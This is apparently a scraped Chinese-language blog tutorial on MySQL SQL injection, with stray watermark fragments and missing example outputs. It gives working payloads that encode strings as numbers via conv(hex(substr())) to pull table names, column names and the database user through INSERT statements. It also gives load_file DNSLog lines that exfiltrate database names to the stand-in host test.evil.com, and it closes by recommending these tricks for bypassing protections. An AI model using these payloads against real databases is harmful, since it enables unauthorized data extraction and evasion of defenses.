今天带来MySQL的新姿势,姿势对不对,你们指教-_-
1.带内/带外
传统的Insert、Update是带内注入方式,直接从返回中提取到有用信息,例如时间盲注获取数据;带外注入则是间接的从外部服务器中提取数据,例如使用DNSLog获取数据。
2.字符串处理
先看看mysql对于字符串的处理,可以看到一个字符串是等于0的。
进一步验证,将字符串和数字加起来。
再看看将字符串和MySQL支持的最大值加起来的结果。
可以看到,字符串返回的是DOUBLE数字,而将一个大值和一个DOUBLE值相加时,将会返回IEEE标准的DOUBLE精确值。
copyright UWA 这时候我们可以通过或操作获取到最大的无符号BIGINT值。
3.字符串数字互转
到这里,我们可以想到一种注入方式,使用数字来传递,需要时再通过解码的方式显示字符串。
例如:
字符串 -> 数字
数字 -> 字符串
但是这里有个问题,前面提到MySQL的最大值,如果超过将不能成功解码,因此一个字符串的最大长度应该是8个字节,例如:
内容来自 uwa 所以,我们可以使用mysql的substr()函数进行切割,例如:
4.编码注入
1)、获取表
select conv(hex(substr((select table_name frominformation_schema.tables where table_schema=schema() limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);
2、获取列
select conv(hex(substr((select column_name frominformation_schema.columns where table_name='table name' limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);
3、Insert语句
insert into admin values ('admin', 'password');
insert into admin values ('admin','password'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10);
5.使用DNSLog进行带外注入
select load_file(concat('\\\\',(selectdatabase()),'.test.evil.com\\foo'))
asthis.net select load_file(concat('\\\\',(selectunhex(conv(8245931987826405219, 10, 16))),'.test.evil.com\\foo'))
6.想想绕过防护吧,皮卡丘.哈哈
1)、盲注使用DNS解析进行高效测试
2)、使用MySQL数字与字符串编码关系绕过相关防护